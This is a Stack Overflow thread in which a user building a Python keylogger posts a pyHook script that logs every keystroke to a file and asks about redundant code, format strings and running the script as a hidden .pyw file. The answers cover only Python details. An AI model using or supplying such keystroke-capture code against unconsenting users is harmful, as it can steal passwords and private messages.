1

I was trying to make a keylogger in pyhton and have stumbled upon this piece of code on numerous blogs:

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Alright, I got three doubts here:

First,As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.

Second , whats the use of 's' in format='%(message)s'

And third: I saved the file as '.pyw' But when I double-click it, it wont work. Although, It works thru Cmd

  • 1
    First, don't try to ask three separate questions at the same time. The answers to the three will be completely unrelated to each other, so they should be separate questions. – abarnert Jun 24 '18 at 04:47
  • 2
    Anyway, your second question is probably a duplicate, but it's also [explained perfectly well in the docs](https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting): in printf-style format strings, every format has to end with a conversion type specifier like `s`. The `s` in particular means to convert it to a string, rather than, say, a number. The reasons why printf formatting works this way go back to C in the 1970s; if you want something more readable, use f-strings or `str.format`. And logging using printf-style format strings. – abarnert Jun 24 '18 at 05:00
  • 1
    Your second question is [answered here](https://docs.python.org/3/library/logging.html#logrecord-attributes) – jedwards Jun 24 '18 at 05:00
  • 1
    Also, using `log(10, …)` is, while legal, very weird. If you're using the default log levels, that can be written more readably as `log(DEBUG, …)`, or, even more simply, just `debug(…)`. – abarnert Jun 24 '18 at 05:02

1 Answers1

2

As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.

Yes, you understand it correctly. And it would be useless even if it weren't redundant—this is just an expression statement that evaluates an expression with no side effects and does nothing with the results, so it has no effect, except to waste a bit of CPU time.

When you find random code somewhere on the internet, there's no guarantee that it's brilliant code.

Maybe the author was getting strange values, and decided they needed to be able to put a breakpoint right before or after that chr call, so they moved it out onto its own line. Or getting an exception, and didn't know how to tell whether it came from chr or log. Sure, either they should have then done s = chr(event.Ascii) and then used it in logging.log(10, s) or something, but maybe it was just a one-shot quick&dirty thing that they just forgot to revert.

Or maybe the author knows less about Python than you, or is an idiot, or just gets paid by the number of times they call builtins. Who knows?

abarnert
  • 354,177
  • 51
  • 601
  • 671
  • Thanks man. I'm still stuck on the third Q tho.Why is the file working perfectly fine with CMD but not on its own? I got pythonw.exe installed. – Ketan Pandey Jun 24 '18 at 05:19
  • @KetanPandey Since that's a completely separate question, you can search for that separately, and, if you don't find anything, post a new question whose description, tags, [mcve], etc. are specific to that question, and get a better answer. People who know all about how pythonw works and how to set up Python for Windows, but know nothing about keyloggers or pyhook, won't even have seen this question in their feed. – abarnert Jun 24 '18 at 18:46